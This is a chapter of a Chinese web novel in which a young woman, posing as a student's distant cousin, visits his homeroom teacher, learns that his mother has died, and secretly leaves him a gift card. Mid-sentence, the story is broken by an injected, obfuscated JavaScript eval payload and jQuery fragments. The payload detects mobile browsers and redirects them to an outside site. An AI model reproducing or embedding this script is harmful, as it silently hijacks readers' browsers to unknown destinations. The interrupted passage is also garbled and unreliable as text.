34.家访

作品:《姐你睡了吗

    周波娜坐在靠走廊的窗边,书本垂直立在书桌上,嘴巴跟金鱼一样,一开一合漫不经心地跟着背诵,双手则在书本的掩盖下不停地抠着圆珠笔笔帽上的橡胶软头,两条腿在课桌底下抖一下,又抖一下。


    她心里烦透了。语文老师在上面念一句驽马十驾功在不舍,进她脑子里只剩两个字:不舍。她舍不得自己喜欢的对象。过了这个冬天就是春天了,过了春天就是夏天了,夏天就是分开的季节了。妈的,她到底应该怎么做呢。喜欢一个人就像心里埋了一颗种子,给点笑就发芽,给个拥抱就开花。少女心里有关爱情的种子都生根发芽了好久好久,只盼着春日开花夏日结果。


    她刚忍不住又想转头看一眼坐在对面墙角里的林生,目光却不自觉望向了走廊。一个黑衣服的女人正低着头经过。


    周波娜莫名紧张了一下。她的目光随着盛安脚步的移动而移动,直到老师喊了她的名字。


    “周波娜!”如果不是女生,语文老师粉笔头就直接扔过去了,“高三了,还分心!”


    周波娜赶紧收回眼神,头躲到书本后面,脑袋没控制住往林生方向飞速瞄了一眼。他一手撑在书桌上,黑脑袋也在书本后面,根本没看向自己。


    好漂亮的女生,周波娜心想,从来没见过,难道是新来的转校生?高中了,好像不容易转校吧。


    盛安素面朝天,个子又相对较矮,在大东北平均人高腿长的环境里,乍眼一看确实只够当个高中生。所以当她出现在班主任范老师面前时,范老师也愣了一下。


    盛安目光直视,主动伸出手:“范老师您好,我是林生的表姐。”


    语调非常的平静,气势非常的镇定。她装的。


    范老师也伸出手,目光透过厚厚的近视眼镜片看向盛安:“那个,今天请你来是想跟你聊一下林生。”


    话刚说出口,范老师心里就想,自己说了一句废话。


    办公室其他老师都上课去了,房间就范老师和盛安二人。因为屋外刮风的原因,窗户都紧闭着,暖气把不大的办公室烘得干热。校园大概是盛安这种好学生的舒适区。她一走进高中,听见朗朗的读书声和唰唰的刷题声,就回到了那些个只需要埋头学习、唯成绩论英雄的青葱岁月。紧张感渐渐褪去了。


    见屋里那么暖和,范老师只穿了一件毛线开衫和黑绒长裤,盛安也脱掉黑色羽绒服外套,把衣服往椅背上一挂,露出里面的白色羊毛连衣长裙。盛安天生皮肤白,衣服穿得又白,范老师觉得眼前这女孩整个人都在发光。她心里困惑得很,没听说林生有什么往来密切的表姐啊,再说往来密切的表姐会不知道他在哪个班?待会结束了得去找林生问下,听说他刚刚进校上课了。


    反正只要对学生好,管她是谁都行。


    盛安坐在范老师面前,规规矩矩的,眼前清澈地望向对方,一副好学生的做派。


    范老师清了清嗓子,先探探路:“那个,林生表姐,林生在学校里的情况,你了解的吧?”


    盛安虚心地摇摇头,说:“我是他远房亲戚,这次特意来桦城看他,也是想了解一下他在学校里的情况。如果有任何可以帮助到他的地方,请老师直接告诉我,我们一定尽力配合。”


    范老师心想这女孩比自己还套路。她推了推鼻梁上的眼睛,琢磨了一下,先问:“远房亲戚啊,这平常不在桦城啊。”


    盛安说:“是的,我现在在北京上大学。”


    范老师“哦”了一下,问:“什么大学啊。”


    盛安报了学校名字,顺便还提了一嘴高考的分数。范老师眼睛跟被大师开了光一样,啪一下子就亮了。


    天北高中虽然在桦城当地算中上的,可桦城基础教育本来就不咋地。天北高中历史上别说出清北了,连上一本线的每年也就个位数。


    范老师眼睛骨碌碌一转,心里想真的假的,忍不住又问:“学校不错,你是刚高考结束上大一?”


    怎么看都是个高中小女生啊,虽然穿得挺成熟的。羊毛连衣裙,加绒打底裤,中跟皮靴。不是穷人啊。


    盛安笑了笑:“我已经大三了,不过离开高中也没多久,有些东西还能记得。所以就想来看下,有什么地方能帮到林生的。麻烦老师跟我说一下好吗?我们平日不在一个城市,以前联系也不多,学校的情况没有老师们了解,这次贸贸然前来,打扰了。”


    范老师心想,果然是牛逼大学出来的,讲话跟这群毛小子就是不一样,一套一套的。转念又想,林生家庭复杂,这肯定是上一辈遗留下来的关系。平日里不咋联系,突然就想到北方这旮旯角落里有个快成年的男孩了。看来这人还是得多生孩子,谁知道哪一天就冒出个帮的上忙的远房亲戚。


    高中班主任事情多得很,范老师性格又直爽,这下就跟倒豆子一样,一股脑地全部说出来。


    “林生刚进校时,成绩还是可以的。这小子人聪明,做事也认真,学习态度也好。我一直以来都很看好他的,还推荐他进校体队。这个……”范老师顿了一下,说,“他家庭情况我做班主任的大概也是了解的,孩子这两年也确实是不容易,但学校也给他减了部分学餐费。这贫困大学生全国也不少,国家也很重视,能帮助的也都全力帮助着。关键学习这事,得自己要啊!”


    她噼里啪啦接着说:“他现在的成绩吧,如果接下来半年全力以赴,勉勉强强可以够到三本线,但三本学费贵啊。我之前跟他聊天,他说想毕业了就直接出去工作了,那我说可以,你自己的命运你自己定,但是我还是希望你好好地完成接下来半年的学习。高中生就要有高中生的样子,旷课算怎么回事,突然不来上学算怎么回事?问他他也不说,只说家里有事。他家里有什么事嘛,家里都……”


    说不下去了。


    盛安听出来不对,她嘴唇都颤抖了:“他家里怎么了?”


    范老师疑惑地看了她一眼:“你们亲戚不知道他家里怎么了?”


    盛安强忍住不安,尽量镇定地说:“以前联系的也不多,这两年没怎么联系,所以有些东西不太清楚。是我们的错,请老师直接告诉我吧。”


    范老师心想这亲戚是怎么当的,不过她看着盛安的样子,寻思着家家都有本难念的经,人远房亲戚能过来关心一下也不错了,于是收着性子说:“他高一下半学期时妈妈生病去世了,现在他没爸没妈一个人,这你们做亲戚的不知道?”


    盛安啪地一下子站了起来,身下的椅子猛地往后挪动了两步,恰巧这时东北风猛烈地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382282|181704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    敲击了一下玻璃窗。范老师被吓了一跳,感觉屋里的暖空气都被她突然的站立而敲碎了。她茫然又惊恐地望向盛安,看到这姑娘的脸瞬间灰得可怕。


    范老师脑子还在飞速旋转,在想接下来应该说些什么,又见盛安原本清亮的眼眸一下子充血通红,一行行泪水沿着她的脸颊雨水般地下坠。


    “……”范老师真是被吓到了,站起来抽了一张餐巾纸递过去,嘴都结巴了,“你……节哀顺变……这个……已经过去两年了。”


    盛安没接纸。她死死咬着唇,双手反扣在椅背上,低着头,大口大口地呼吸,看过去像是一条鲸鱼躺在干涸的河岸上求救。


    “生什么病?”盛安声音都哑了。


    范老师干干巴巴地说:“听说是乳腺癌,发现的时候已经晚期了。”


    盛安站在椅子旁边,把身子背过去,范老师猜她是不想让老师看见自己失控的脸。


    半晌后,盛安的声音传来:“他的爸爸呢?”


    范老师一愣:“他爸爸小时候就去世了啊。”


    盛安说:“他妈妈再婚了。”


    范老师嗫嚅了一下,道:“具体我们当老师的也不清楚,毕竟是孩子的家事。但我之前跟林生聊的时候,他只说他小时候爸爸就去世了,没提有新爸爸。高一刚开学时他妈妈来学校过一次,后面就生病了吧,再也没有人来过。”


    说完这话,范老师觉得盛安的背影一下子老了十岁。


    其他教室的老师讲课声、学生回答问题的声音、背诵声,沿着北风,穿过玻璃窗,清晰地传进办公室里。显得这间办公室,安静诡异的可怕。


    范老师已经许多年没有面临过,这么特殊的家长访谈情况了。


    正当她愁眉不展时,盛安回过了头。


    范老师又愣住了,眼前的女生已经用手擦掉了泪水,虽然眼睛还是猩红的可怕,唇色也苍白的可怕,可是刚才那灰的跟死人一样的神情,已经在她背过身子的时间里,藏好了。


    盛安又恢复了镇定和淡定的表情,虽然她一讲话,声音还是颤抖。


    “范老师。”盛安拉开椅子,后退一步,大大地鞠了个躬,语气极度诚恳,“请您无论如何不要放弃他,请您尽可能地多多鼓励他。我一定会尽我全力帮助他的。”


    这一幕,深深地震撼到了自以为已经修炼成百年老油条的范老师了。直到二人又沟通了一会,盛安告别离去后,她还陷在盛安的神色里不可自拔。她坐在空无一人的办公室里,拿下眼镜,抽了张餐巾纸,擦了擦额头上的油和汗。


    重新戴上眼镜后,她茫茫然的眼神突然瞥见了什么。桌角一沓试卷旁,放了一封白色信封。没有名字,没有落款,没有邮票。


    范老师拿来一摸,心里立刻就清楚了。撕开来一看,一张大面额的超市卡。


    盛安离开时的话还在她耳边回响:“请范老师不要跟他说我来过了,也不要在他面前提我们这次的交流。高三生压力大,心理相对比较脆弱和敏感,我不想让他觉得我是在可怜他而帮助他。请老师无论如何帮我这个忙,我会用我的方式在校外尽全力帮助他的。”


    神人啊……范老师叹了口气,穿上外套,把信封往衣兜里一塞,快步走了出去。